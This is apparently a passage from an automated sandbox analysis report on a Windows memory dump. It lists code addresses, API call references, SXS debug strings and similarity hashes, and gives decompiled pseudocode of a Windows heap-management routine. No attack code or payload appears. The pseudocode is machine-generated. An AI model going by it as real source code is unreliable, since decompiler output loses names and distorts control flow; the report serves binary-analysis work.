0x6b4ea9a9
0x6b4ea9af
0x6b4ea9c3
0x6b4acc09
0x6b4acc10
0x6b4eab03
0x6b4eab2f
0x6b4eab35
0x6b4eab3e
0x6b4eab5a
0x6b4eab40
0x6b4eab40
0x6b4eab4c
0x6b4eab52
0x6b4eab52
0x6b4eab5c
0x6b4eab63
0x6b4eab6a
0x6b4eab76
0x6b4eab78
0x6b4eab84
0x6b4eab86
0x6b4eab8d
0x6b4eab97
0x6b4eab98
0x6b4eaba3
0x6b4eabad
0x6b4eabae
0x6b4eabb3
0x6b4eabb9
0x6b4eabbd
0x6b4eabc2
0x6b4eabc6
0x6b4eabc8
0x6b4eabcb
0x6b4eabdc
0x6b4eabdc
0x6b4eabc6
0x6b4eabe3
0x00000000
0x6b4eabe9
0x6b4eabef
0x6b4eabfc
0x00000000
0x6b4eac01
0x6b4eabe3
0x6b4eab17
0x6b4eab1f
0x00000000
0x6b4eab1f
0x6b4acc16
0x6b4acc29
0x6b4acc2b
0x6b4acc30
0x6b4acc34
0x6b4eac13
0x6b4acc3a
0x6b4acc3a
0x6b4acc3a
0x00000000
0x6b4acc34
0x6b4ea95e
0x6b4ea965
0x6b4ea96a
0x6b4ea972
0x6b4ea97e
0x6b4ea984
0x00000000
0x6b4ea984
0x6b4ea974
0x00000000
0x6b4ea974
0x6b4ea932
0x00000000
0x6b4ea932
0x6b4ea91a
0x00000000
0x6b4ea91a
0x6b4aca96
0x6b4aca9d
0x6b4acaa7
0x6b4acaae
0x6b4acaba
0x6b4acac0
0x6b4acace
0x6b4acad4
0x6b4acae3
0x6b4acae9
0x6b4acaf3
0x6b4acaf9
0x6b4acaff
0x6b4acb05
0x6b4acb11
0x6b4ea9cb
0x00000000
0x6b4ea9cb
0x6b4acb1e
0x6b4ea9f8
0x6b4eaa03
0x6b4eaa07
0x6b4eaa36
0x6b4eaa47
0x6b4eaa4b
0x6b4eaa18
0x6b4eaa19
0x6b4eaa1a
0x6b4eaa1f
0x6b4eaa1f
0x6b4eaa21
0x6b4eaa23
0x00000000
0x6b4eaa28
0x6b4eaa4d
0x00000000
0x6b4eaa4d
0x6b4eaa09
0x6b4eaa10
0x6b4eaa11
0x00000000
0x6b4eaa11
0x6b4acb24
0x6b4acb2a
0x6b4acb2c
0x6b4acb32
0x6b4acb38
0x6b4acb3e
0x6b4acb47
0x6b4acc01
0x6b4acc01
0x6b4acc03
0x6b4acc03
0x6b4eaac0
0x6b4eaac0
0x6b4eaad1
0x6b4eaad9
0x00000000
0x6b4eaad9
0x00000000
0x00000000
0x00000000
0x00000000
0x6b4acb4d
0x6b4acb4d
0x6b4acb53
0x6b4acb5f
0x6b4acb6e
0x6b4acb74
0x6b4acb7e
0x6b4acb87
0x6b4acb93
0x00000000
0x00000000
0x6b4acba0
0x6b4acba7
0x6b4eaa57
0x00000000
0x00000000
0x6b4eaa59
0x6b4eaa59
0x6b4eaa5c
0x6b4eaa5c
0x6b4acbb0
0x6b4acca2
0x6b4acca2
0x6b4acca5
0x00000000
0x6b4accab
0x6b4accab
0x00000000
0x6b4accab
0x6b4acca5
0x6b4acbbd
0x6b4eaa67
0x6b4eaa6d
0x6b4eaa72
0x6b4eaa72
0x6b4acbe6
0x6b4acbf1
0x6b4acbf5
0x6b4eaa84
0x6b4eaa91
0x6b4eaa98
0x6b4eaaa9
0x00000000
0x6b4eaaae
0x6b4eaa86
0x00000000
0x6b4acbfb
0x6b4acbfb
0x00000000
0x6b4acbfb
0x6b4acbf5
0x6b4eaab6
0x00000000
0x6b4eaab6

APIs

DbgPrintEx.1105(00000033,00000000,SXS: Assembly directory name stored in assembly information too long (%lu bytes) - ACTIVATION_CONTEXT_DATA at %p,?,?,?,00000000,00000002), ref: 6B4EA8F5

Part of subcall function 6B4ACCC0: memcpy.1105(6B454F84,?,6B486167,00000040,?,?), ref: 6B4ACD56

DbgPrintEx.1105(00000033,00000000,SXS: Attempt to insert well known storage root into assembly storage map assembly roster index %lu failed; Status = 0x%08lx,?,00000000,02160000,?,?,02080000,?,00000000,?,00000001,?,?,?), ref: 6B4EAA23
DbgPrintEx.1105(00000033,00000000,SXS: %s() bad parametersSXS: Map : %pSXS: Data : %pSXS: AssemblyRosterIndex: 0x%lxSXS: Map->AssemblyCount : 0x%lx,RtlpResolveAssemblyStorageMapEntry,00000040,?,00000000,00000000,?,00000000,00000002), ref: 6B4EAC34
RtlDeleteBoundaryDescriptor.1105(00000000,00000000,00000000,00000000,00100020,?,?,00000003,00000021,?,?,00000000,?,00000001,?,?), ref: 6B4EAC4C
ZwClose.1105(00000000,00000000,00000000,00000000,00100020,?,?,00000003,00000021,?,?,00000000,?,00000001,?,?), ref: 6B4EAC5C
RtlFreeHeap.1105(?,00000000,?,00000000,00000000,00000000,00100020,?,?,00000003,00000021,?,?,00000000,?,00000001), ref: 6B4EAC72

Strings

SXS: Assembly directory name stored in assembly information too long (%lu bytes) - ACTIVATION_CONTEXT_DATA at %p, xrefs: 6B4EA8EC
SXS: Attempt to probe known root of assembly storage ("%wZ") failed; Status = 0x%08lx, xrefs: 6B4EAA11
SXS: Attempt to probe assembly storage root %wZ for assembly directory %wZ failed with status = 0x%08lx, xrefs: 6B4EAAA0
SXS: Attempt to translate DOS path name "%S" to NT format failed, xrefs: 6B4EAB0E
SXS: Unable to resolve storage root for assembly directory %wZ in %Iu tries, xrefs: 6B4EAAC8
SXS: Attempt to insert well known storage root into assembly storage map assembly roster index %lu failed; Status = 0x%08lx, xrefs: 6B4EAA1A
SXS: Unable to open assembly directory under storage root "%S"; Status = 0x%08lx, xrefs: 6B4EABF3
SXS: Storage resolution failed to insert entry to storage map; Status = 0x%08lx, xrefs: 6B4EAC0A
@, xrefs: 6B4EABA3
SXS: %s() bad parametersSXS: Map : %pSXS: Data : %pSXS: AssemblyRosterIndex: 0x%lxSXS: Map->AssemblyCount : 0x%lx, xrefs: 6B4EAC2C
RtlpResolveAssemblyStorageMapEntry, xrefs: 6B4EAC27

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print$BoundaryCloseDeleteDescriptorFreeHeapmemcpy
String ID: @$RtlpResolveAssemblyStorageMapEntry$SXS: %s() bad parametersSXS: Map : %pSXS: Data : %pSXS: AssemblyRosterIndex: 0x%lxSXS: Map->AssemblyCount : 0x%lx$SXS: Assembly directory name stored in assembly information too long (%lu bytes) - ACTIVATION_CONTEXT_DATA at %p$SXS: Attempt to insert well known storage root into assembly storage map assembly roster index %lu failed; Status = 0x%08lx$SXS: Attempt to probe assembly storage root %wZ for assembly directory %wZ failed with status = 0x%08lx$SXS: Attempt to probe known root of assembly storage ("%wZ") failed; Status = 0x%08lx$SXS: Attempt to translate DOS path name "%S" to NT format failed$SXS: Storage resolution failed to insert entry to storage map; Status = 0x%08lx$SXS: Unable to open assembly directory under storage root "%S"; Status = 0x%08lx$SXS: Unable to resolve storage root for assembly directory %wZ in %Iu tries
API String ID: 565419495-4009184096
Opcode ID: d91a6d22fe383aef05a8da9a1474c6e475730f05f107b14dca3caa78d4ec2e73
Instruction ID: 5e0a7b2b2b996e57a22da779d9221d047e3167c28e01f7531e493b5c22488701
Opcode Fuzzy Hash: d91a6d22fe383aef05a8da9a1474c6e475730f05f107b14dca3caa78d4ec2e73
Instruction Fuzzy Hash: D40273F1D042289BDB60CB14CD80FDAB7B8AF55705F4141DAE608A7241EB399F85CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 6B49A309, Relevance: 49.7, APIs: 22, Strings: 6, Instructions: 687
COMMONCrypto

Download Yara Rule

C-Code - Quality: 72%

			E6B49A309(signed int __ecx, signed int __edx, signed int _a4, char _a8) {
				char _v8;
				signed short _v12;
				signed short _v16;
				signed int _v20;
				signed int _v24;
				signed short _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				unsigned int _v52;
				signed int _v56;
				void* _v60;
				intOrPtr _v64;
				void* _v72;
				void* __ebx;
				void* __edi;
				void* __ebp;
				unsigned int _t246;
				signed char _t247;
				signed short _t249;
				unsigned int _t256;
				signed int _t262;
				signed int _t265;
				signed int _t266;
				signed int _t267;
				intOrPtr _t270;
				signed int _t280;
				signed int _t286;
				signed int _t289;
				intOrPtr _t290;
				signed int _t291;
				signed int _t317;
				signed short _t320;
				intOrPtr _t327;
				signed int _t339;
				signed int _t344;
				signed int _t347;
				intOrPtr _t348;
				signed int _t350;
				signed int _t352;
				signed int _t353;
				signed int _t356;
				intOrPtr _t357;
				intOrPtr _t366;
				signed int _t367;
				signed int _t370;
				intOrPtr _t371;
				signed int _t372;
				signed int _t394;
				signed short _t402;
				intOrPtr _t404;
				intOrPtr _t415;
				signed int _t430;
				signed int _t433;
				signed int _t437;
				signed int _t445;
				signed short _t446;
				signed short _t449;
				signed short _t452;
				signed int _t455;
				signed int _t460;
				signed short* _t468;
				signed int _t480;
				signed int _t481;
				signed int _t483;
				intOrPtr _t484;
				signed int _t491;
				unsigned int _t506;
				unsigned int _t508;
				signed int _t513;
				signed int _t514;
				signed int _t521;
				signed short* _t533;
				signed int _t541;
				signed int _t543;
				signed int _t546;
				unsigned int _t551;
				signed int _t553;

				_t450 = __ecx;
				_t553 = __ecx;
				_t539 = __edx;
				_v28 = 0;
				_v40 = 0;
				if(( *(__ecx + 0xcc) ^  *0x6b568a68) != 0) {
					_push(_a4);
					_t513 = __edx;
					L11:
					_t246 = E6B49A830(_t450, _t513);
					L7:
					return _t246;
				}
				if(_a8 != 0) {
					__eflags =  *(__edx + 2) & 0x00000008;
					if(( *(__edx + 2) & 0x00000008) != 0) {
						 *((intOrPtr*)(__ecx + 0x230)) =  *((intOrPtr*)(__ecx + 0x230)) - 1;
						_t430 = E6B49DF24(__edx,  &_v12,  &_v16);
						__eflags = _t430;
						if(_t430 != 0) {
							_t157 = _t553 + 0x234;
							 *_t157 =  *(_t553 + 0x234) - _v16;
							__eflags =  *_t157;
						}
					}
					_t445 = _a4;
					_t514 = _t539;
					_v48 = _t539;
					L14:
					_t247 =  *((intOrPtr*)(_t539 + 6));
					__eflags = _t247;
					if(_t247 == 0) {
						_t541 = _t553;
					} else {
						_t541 = (_t539 & 0xffff0000) - ((_t247 & 0x000000ff) << 0x10) + 0x10000;
						__eflags = _t541;
					}
					_t249 = 7 + _t445 * 8 + _t514;
					_v12 = _t249;
					__eflags =  *_t249 - 3;
					if( *_t249 == 3) {
						_v16 = _t514 + _t445 * 8 + 8;
						E6B479373(_t553, _t514 + _t445 * 8 + 8);
						_t452 = _v16;
						_v28 =  *(_t452 + 0x10);
						 *((intOrPtr*)(_t541 + 0x30)) =  *((intOrPtr*)(_t541 + 0x30)) - 1;
						_v36 =  *(_t452 + 0x14);
						 *((intOrPtr*)(_t541 + 0x2c)) =  *((intOrPtr*)(_t541 + 0x2c)) - ( *(_t452 + 0x14) >> 0xc);
						 *((intOrPtr*)(_t553 + 0x1e8)) =  *((intOrPtr*)(_t553 + 0x1e8)) +  *(_t452 + 0x14);
						 *((intOrPtr*)(_t553 + 0x1f8)) =  *((intOrPtr*)(_t553 + 0x1f8)) - 1;
						_t256 =  *(_t452 + 0x14);
						__eflags = _t256 - 0x7f000;
						if(_t256 >= 0x7f000) {
							_t142 = _t553 + 0x1ec;
							 *_t142 =  *(_t553 + 0x1ec) - _t256;
							__eflags =  *_t142;
							_t256 =  *(_t452 + 0x14);
						}
						_t513 = _v48;
						_t445 = _t445 + (_t256 >> 3) + 0x20;
						_a4 = _t445;
						_v40 = 1;
					} else {
						_t27 =  &_v36;
						 *_t27 = _v36 & 0x00000000;
						__eflags =  *_t27;
					}
					__eflags =  *((intOrPtr*)(_t553 + 0x54)) -  *((intOrPtr*)(_t513 + 4));
					if( *((intOrPtr*)(_t553 + 0x54)) ==  *((intOrPtr*)(_t513 + 4))) {
						_v44 = _t513;
						_t262 = E6B47A9EF(_t541, _t513);
						__eflags = _a8;
						_v32 = _t262;
						if(_a8 != 0) {
							__eflags = _t262;
							if(_t262 == 0) {
								goto L19;
							}
						}
						__eflags =  *0x6b568748 - 1;
						if( *0x6b568748 >= 1) {
							__eflags = _t262;
							if(_t262 == 0) {
								_t415 =  *[fs:0x30];
								__eflags =  *(_t415 + 0xc);
								if( *(_t415 + 0xc) == 0) {
									_push("HEAP: ");
									E6B47B150();
								} else {
									E6B47B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
								}
								_push("(UCRBlock != NULL)");
								E6B47B150();
								__eflags =  *0x6b567bc8;
								if( *0x6b567bc8 == 0) {
									__eflags = 1;
									E6B532073(_t445, 1, _t541, 1);
								}
								_t513 = _v48;
								_t445 = _a4;
							}
						}
						_t350 = _v40;
						_t480 = _t445 << 3;
						_v20 = _t480;
						_t481 = _t480 + _t513;
						_v24 = _t481;
						__eflags = _t350;
						if(_t350 == 0) {
							_t481 = _t481 + 0xfffffff0;
							__eflags = _t481;
						}
						_t483 = (_t481 & 0xfffff000) - _v44;
						__eflags = _t483;
						_v52 = _t483;
						if(_t483 == 0) {
							__eflags =  *0x6b568748 - 1;
							if( *0x6b568748 < 1) {
								goto L9;
							}
							__eflags = _t350;
							goto L146;
						} else {
							_t352 = E6B4A174B( &_v44,  &_v52, 0x4000);
							__eflags = _t352;
							if(_t352 < 0) {
								goto L94;
							}
							_t353 = E6B497D50();
							_t447 = 0x7ffe0380;
							__eflags = _t353;
							if(_t353 != 0) {
								_t356 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
							} else {
								_t356 = 0x7ffe0380;
							}
							__eflags =  *_t356;
							if( *_t356 != 0) {
								_t357 =  *[fs:0x30];
								__eflags =  *(_t357 + 0x240) & 0x00000001;
								if(( *(_t357 + 0x240) & 0x00000001) != 0) {
									E6B5314FB(_t553, _v44, _v52, 5);
								}
							}
							_t358 = _v32;
							 *((intOrPtr*)(_t553 + 0x200)) =  *((intOrPtr*)(_t553 + 0x200)) + 1;
							_t484 =  *((intOrPtr*)(_v32 + 0x14));
							__eflags = _t484 - 0x7f000;
							if(_t484 >= 0x7f000) {
								_t90 = _t553 + 0x1ec;
								 *_t90 =  *(_t553 + 0x1ec) - _t484;
								__eflags =  *_t90;
							}
							E6B479373(_t553, _t358);
							_t486 = _v32;
							 *((intOrPtr*)(_v32 + 0x14)) =  *((intOrPtr*)(_v32 + 0x14)) + _v52;
							E6B479819(_t486);
							 *((intOrPtr*)(_t541 + 0x2c)) =  *((intOrPtr*)(_t541 + 0x2c)) + (_v52 >> 0xc);
							 *((intOrPtr*)(_t553 + 0x1e8)) =  *((intOrPtr*)(_t553 + 0x1e8)) - _v52;
							_t366 =  *((intOrPtr*)(_v32 + 0x14));
							__eflags = _t366 - 0x7f000;
							if(_t366 >= 0x7f000) {
								_t104 = _t553 + 0x1ec;
								 *_t104 =  *(_t553 + 0x1ec) + _t366;
								__eflags =  *_t104;
							}
							__eflags = _v40;
							if(_v40 == 0) {
								_t533 = _v52 + _v44;
								_v32 = _t533;
								_t533[2] =  *((intOrPtr*)(_t553 + 0x54));
								__eflags = _v24 - _v52 + _v44;
								if(_v24 == _v52 + _v44) {
									__eflags =  *(_t553 + 0x4c);
									if( *(_t553 + 0x4c) != 0) {
										_t533[1] = _t533[1] ^ _t533[0] ^  *_t533;
										 *_t533 =  *_t533 ^  *(_t553 + 0x50);
									}
								} else {
									_t449 = 0;
									_t533[3] = 0;
									_t533[1] = 0;
									_t394 = _v20 - _v52 >> 0x00000003 & 0x0000ffff;
									_t491 = _t394;
									 *_t533 = _t394;
									__eflags =  *0x6b568748 - 1;
									if( *0x6b568748 >= 1) {
										__eflags = _t491 - 1;
										if(_t491 <= 1) {
											_t404 =  *[fs:0x30];
											__eflags =  *(_t404 + 0xc);
											if( *(_t404 + 0xc) == 0) {
												_push("HEAP: ");
												E6B47B150();
											} else {
												E6B47B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
											}
											_push("((LONG)FreeEntry->Size > 1)");
											E6B47B150();
											_pop(_t491);
											__eflags =  *0x6b567bc8 - _t449;
											if( *0x6b567bc8 == _t449) {
												__eflags = 0;
												_t491 = 1;
												E6B532073(_t449, 1, _t541, 0);
											}
											_t533 = _v32;
										}
									}
									_t533[1] = _t449;
									__eflags =  *((intOrPtr*)(_t541 + 0x18)) - _t541;
									if( *((intOrPtr*)(_t541 + 0x18)) != _t541) {
										_t402 = (_t533 - _t541 >> 0x10) + 1;
										_v16 = _t402;
										__eflags = _t402 - 0xfe;
										if(_t402 >= 0xfe) {
											_push(_t491);
											_push(_t449);
											E6B53A80D( *((intOrPtr*)(_t541 + 0x18)), 3, _t533, _t541);
											_t533 = _v48;
											_t402 = _v32;
										}
										_t449 = _t402;
									}
									_t533[3] = _t449;
									E6B49A830(_t553, _t533,  *_t533 & 0x0000ffff);
									_t447 = 0x7ffe0380;
								}
							}
							_t367 = E6B497D50();
							__eflags = _t367;
							if(_t367 != 0) {
								_t370 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
							} else {
								_t370 = _t447;
							}
							__eflags =  *_t370;
							if( *_t370 != 0) {
								_t371 =  *[fs:0x30];
								__eflags =  *(_t371 + 0x240) & 1;
								if(( *(_t371 + 0x240) & 1) != 0) {
									__eflags = E6B497D50();
									if(__eflags != 0) {
										_t447 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
										__eflags =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
									}
									E6B531411(_t447, _t553, _v44, __eflags, _v52,  *(_t553 + 0x74) << 3, _v40, _v36,  *_t447 & 0x000000ff);
								}
							}
							_t372 = E6B497D50();
							_t546 = 0x7ffe038a;
							_t446 = 0x230;
							__eflags = _t372;
							if(_t372 != 0) {
								_t246 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
							} else {
								_t246 = 0x7ffe038a;
							}
							__eflags =  *_t246;
							if( *_t246 == 0) {
								goto L7;
							} else {
								__eflags = E6B497D50();
								if(__eflags != 0) {
									_t546 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + _t446;
									__eflags = _t546;
								}
								_push( *_t546 & 0x000000ff);
								_push(_v36);
								_push(_v40);
								goto L120;
							}
						}
					} else {
						L19:
						_t31 = _t513 + 0x101f; // 0x101f
						_t455 = _t31 & 0xfffff000;
						_t32 = _t513 + 0x28; // 0x28
						_v44 = _t455;
						__eflags = _t455 - _t32;
						if(_t455 == _t32) {
							_t455 = _t455 + 0x1000;
							_v44 = _t455;
						}
						_t265 = _t445 << 3;
						_v24 = _t265;
						_t266 = _t265 + _t513;
						__eflags = _v40;
						_v20 = _t266;
						if(_v40 == 0) {
							_t266 = _t266 + 0xfffffff0;
							__eflags = _t266;
						}
						_t267 = _t266 & 0xfffff000;
						_v52 = _t267;
						__eflags = _t267 - _t455;
						if(_t267 < _t455) {
							__eflags =  *0x6b568748 - 1;
							if( *0x6b568748 < 1) {
								L9:
								_t450 = _t553;
								L10:
								_push(_t445);
								goto L11;
							}
							__eflags = _v40;
							L146:
							if(__eflags == 0) {
								goto L9;
							}
							_t270 =  *[fs:0x30];
							__eflags =  *(_t270 + 0xc);
							if( *(_t270 + 0xc) == 0) {
								_push("HEAP: ");
								E6B47B150();
							} else {
								E6B47B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
							}
							_push("(!TrailingUCR)");
							E6B47B150();
							__eflags =  *0x6b567bc8;
							if( *0x6b567bc8 == 0) {
								__eflags = 0;
								E6B532073(_t445, 1, _t541, 0);
							}
							L152:
							_t445 = _a4;
							L153:
							_t513 = _v48;
							goto L9;
						}
						_v32 = _t267;
						_t280 = _t267 - _t455;
						_v32 = _v32 - _t455;
						__eflags = _a8;
						_t460 = _v32;
						_v52 = _t460;
						if(_a8 != 0) {
							L27:
							__eflags = _t280;
							if(_t280 == 0) {
								L33:
								_t446 = 0;
								__eflags = _v40;
								if(_v40 == 0) {
									_t468 = _v44 + _v52;
									_v36 = _t468;
									_t468[2] =  *((intOrPtr*)(_t553 + 0x54));
									__eflags = _v20 - _v52 + _v44;
									if(_v20 == _v52 + _v44) {
										__eflags =  *(_t553 + 0x4c);
										if( *(_t553 + 0x4c) != 0) {
											_t468[1] = _t468[1] ^ _t468[0] ^  *_t468;
											 *_t468 =  *_t468 ^  *(_t553 + 0x50);
										}
									} else {
										_t468[3] = 0;
										_t468[1] = 0;
										_t317 = _v24 - _v52 - _v44 + _t513 >> 0x00000003 & 0x0000ffff;
										_t521 = _t317;
										 *_t468 = _t317;
										__eflags =  *0x6b568748 - 1;
										if( *0x6b568748 >= 1) {
											__eflags = _t521 - 1;
											if(_t521 <= 1) {
												_t327 =  *[fs:0x30];
												__eflags =  *(_t327 + 0xc);
												if( *(_t327 + 0xc) == 0) {
													_push("HEAP: ");
													E6B47B150();
												} else {
													E6B47B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
												}
												_push("(LONG)FreeEntry->Size > 1");
												E6B47B150();
												__eflags =  *0x6b567bc8 - _t446;
												if( *0x6b567bc8 == _t446) {
													__eflags = 1;
													E6B532073(_t446, 1, _t541, 1);
												}
												_t468 = _v36;
											}
										}
										_t468[1] = _t446;
										_t522 =  *((intOrPtr*)(_t541 + 0x18));
										__eflags =  *((intOrPtr*)(_t541 + 0x18)) - _t541;
										if( *((intOrPtr*)(_t541 + 0x18)) == _t541) {
											_t320 = _t446;
										} else {
											_t320 = (_t468 - _t541 >> 0x10) + 1;
											_v12 = _t320;
											__eflags = _t320 - 0xfe;
											if(_t320 >= 0xfe) {
												_push(_t468);
												_push(_t446);
												E6B53A80D(_t522, 3, _t468, _t541);
												_t468 = _v52;
												_t320 = _v28;
											}
										}
										_t468[3] = _t320;
										E6B49A830(_t553, _t468,  *_t468 & 0x0000ffff);
									}
								}
								E6B49B73D(_t553, _t541, _v44 + 0xffffffe8, _v52, _v48,  &_v8);
								E6B49A830(_t553, _v64, _v24);
								_t286 = E6B497D50();
								_t542 = 0x7ffe0380;
								__eflags = _t286;
								if(_t286 != 0) {
									_t289 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
								} else {
									_t289 = 0x7ffe0380;
								}
								__eflags =  *_t289;
								if( *_t289 != 0) {
									_t290 =  *[fs:0x30];
									__eflags =  *(_t290 + 0x240) & 1;
									if(( *(_t290 + 0x240) & 1) != 0) {
										__eflags = E6B497D50();
										if(__eflags != 0) {
											_t542 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
											__eflags =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
										}
										E6B531411(_t446, _t553, _v44, __eflags, _v52,  *(_t553 + 0x74) << 3, _t446, _t446,  *_t542 & 0x000000ff);
									}
								}
								_t291 = E6B497D50();
								_t543 = 0x7ffe038a;
								__eflags = _t291;
								if(_t291 != 0) {
									_t246 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
								} else {
									_t246 = 0x7ffe038a;
								}
								__eflags =  *_t246;
								if( *_t246 != 0) {
									__eflags = E6B497D50();
									if(__eflags != 0) {
										_t543 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
										__eflags = _t543;
									}
									_push( *_t543 & 0x000000ff);
									_push(_t446);
									_push(_t446);
									L120:
									_push( *(_t553 + 0x74) << 3);
									_push(_v52);
									_t246 = E6B531411(_t446, _t553, _v44, __eflags);
								}
								goto L7;
							}
							 *((intOrPtr*)(_t553 + 0x200)) =  *((intOrPtr*)(_t553 + 0x200)) + 1;
							_t339 = E6B4A174B( &_v44,  &_v52, 0x4000);
							__eflags = _t339;
							if(_t339 < 0) {
								L94:
								 *((intOrPtr*)(_t553 + 0x210)) =  *((intOrPtr*)(_t553 + 0x210)) + 1;
								__eflags = _v40;
								if(_v40 == 0) {
									goto L153;
								}
								E6B49B73D(_t553, _t541, _v28 + 0xffffffe8, _v36, _v48,  &_a4);
								goto L152;
							}
							_t344 = E6B497D50();
							__eflags = _t344;
							if(_t344 != 0) {
								_t347 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
							} else {
								_t347 = 0x7ffe0380;
							}
							__eflags =  *_t347;
							if( *_t347 != 0) {
								_t348 =  *[fs:0x30];
								__eflags =  *(_t348 + 0x240) & 1;
								if(( *(_t348 + 0x240) & 1) != 0) {
									E6B5314FB(_t553, _v44, _v52, 6);
								}
							}
							_t513 = _v48;
							goto L33;
						}
						__eflags =  *_v12 - 3;
						_t513 = _v48;
						if( *_v12 == 3) {
							goto L27;
						}
						__eflags = _t460;
						if(_t460 == 0) {
							goto L9;
						}
						__eflags = _t460 -  *((intOrPtr*)(_t553 + 0x6c));
						if(_t460 <  *((intOrPtr*)(_t553 + 0x6c))) {
							goto L9;
						}
						goto L27;
					}
				}
				_t445 = _a4;
				if(_t445 <  *((intOrPtr*)(__ecx + 0x6c))) {
					_t513 = __edx;
					goto L10;
				}
				_t433 =  *((intOrPtr*)(__ecx + 0x74)) + _t445;
				_v20 = _t433;
				if(_t433 <  *((intOrPtr*)(__ecx + 0x70)) || _v20 <  *(__ecx + 0x1e8) >>  *((intOrPtr*)(__ecx + 0x240)) + 3) {
					_t513 = _t539;
					goto L9;
				} else {
					_t437 = E6B4999BF(__ecx, __edx,  &_a4, 0);
					_t445 = _a4;
					_t514 = _t437;
					_v56 = _t514;
					if(_t445 - 0x201 > 0xfbff) {
						goto L14;
					} else {
						E6B49A830(__ecx, _t514, _t445);
						_t506 =  *(_t553 + 0x238);
						_t551 =  *((intOrPtr*)(_t553 + 0x1e8)) - ( *(_t553 + 0x74) << 3);
						_t246 = _t506 >> 4;
						if(_t551 < _t506 - _t246) {
							_t508 =  *(_t553 + 0x23c);
							_t246 = _t508 >> 2;
							__eflags = _t551 - _t508 - _t246;
							if(_t551 > _t508 - _t246) {
								_t246 = E6B4AABD8(_t553);
								 *(_t553 + 0x23c) = _t551;
								 *(_t553 + 0x238) = _t551;
							}
						}
						goto L7;
					}
				}
			}

0x6b49a309
0x6b49a316
0x6b49a319
0x6b49a31d
0x6b49a32d
0x6b49a331
0x6b4e1e0d
0x6b4e1e10
0x6b49a3cb
0x6b49a3cb
0x6b49a3bd
0x6b49a3c3
0x6b49a3c3
0x6b49a33a
0x6b4e1e17
0x6b4e1e1b
0x6b4e1e1d
0x6b4e1e2f
0x6b4e1e34
0x6b4e1e36
0x6b4e1e3c
0x6b4e1e3c
0x6b4e1e3c
0x6b4e1e3c
0x6b4e1e36
0x6b4e1e42
0x6b4e1e45
0x6b4e1e47
0x6b49a3f8
0x6b49a3f8
0x6b49a3fb
0x6b49a3fd
0x6b4e1e50
0x6b49a403
0x6b49a411
0x6b49a411
0x6b49a411
0x6b49a41e
0x6b49a420
0x6b49a424
0x6b49a427
0x6b49a7c9
0x6b49a7cd
0x6b49a7d2
0x6b49a7d9
0x6b49a7e0
0x6b49a7e3
0x6b49a7ed
0x6b49a7f3
0x6b49a7f9
0x6b49a7ff
0x6b49a802
0x6b49a807
0x6b49a809
0x6b49a809
0x6b49a809
0x6b49a80f
0x6b49a80f
0x6b49a812
0x6b49a81c
0x6b49a821
0x6b49a824
0x6b49a42d
0x6b49a42d
0x6b49a42d
0x6b49a42d
0x6b49a42d
0x6b49a436
0x6b49a43a
0x6b49a609
0x6b49a60d
0x6b49a612
0x6b49a616
0x6b49a61a
0x6b4e1e57
0x6b4e1e59
0x00000000
0x00000000
0x6b4e1e5f
0x6b49a620
0x6b49a627
0x6b4e1e64
0x6b4e1e66
0x6b4e1e6c
0x6b4e1e72
0x6b4e1e76
0x6b4e1e95
0x6b4e1e9a
0x6b4e1e78
0x6b4e1e8d
0x6b4e1e92
0x6b4e1ea0
0x6b4e1ea5
0x6b4e1eaa
0x6b4e1eb2
0x6b4e1eb6
0x6b4e1eb9
0x6b4e1eb9
0x6b4e1ebe
0x6b4e1ec2
0x6b4e1ec2
0x6b4e1e66
0x6b49a62d
0x6b49a633
0x6b49a636
0x6b49a63a
0x6b49a63c
0x6b49a640
0x6b49a642
0x6b49a644
0x6b49a644
0x6b49a644
0x6b49a64d
0x6b49a64d
0x6b49a651
0x6b49a655
0x6b4e1eca
0x6b4e1ed1
0x00000000
0x00000000
0x6b4e1ed7
0x00000000
0x6b49a65b
0x6b49a669
0x6b49a66e
0x6b49a670
0x00000000
0x00000000
0x6b49a676
0x6b49a67b
0x6b49a680
0x6b49a682
0x6b4e1f1a
0x6b49a688
0x6b49a688
0x6b49a688
0x6b49a68a
0x6b49a68d
0x6b4e1f24
0x6b4e1f2a
0x6b4e1f31
0x6b4e1f43
0x6b4e1f43
0x6b4e1f31
0x6b49a693
0x6b49a697
0x6b49a69d
0x6b49a6a0
0x6b49a6a6
0x6b49a6a8
0x6b49a6a8
0x6b49a6a8
0x6b49a6a8
0x6b49a6b2
0x6b49a6b7
0x6b49a6c1
0x6b49a6c6
0x6b49a6d2
0x6b49a6d9
0x6b49a6e3
0x6b49a6e6
0x6b49a6eb
0x6b49a6ed
0x6b49a6ed
0x6b49a6ed
0x6b49a6ed
0x6b49a6f3
0x6b49a6f8
0x6b49a702
0x6b49a70a
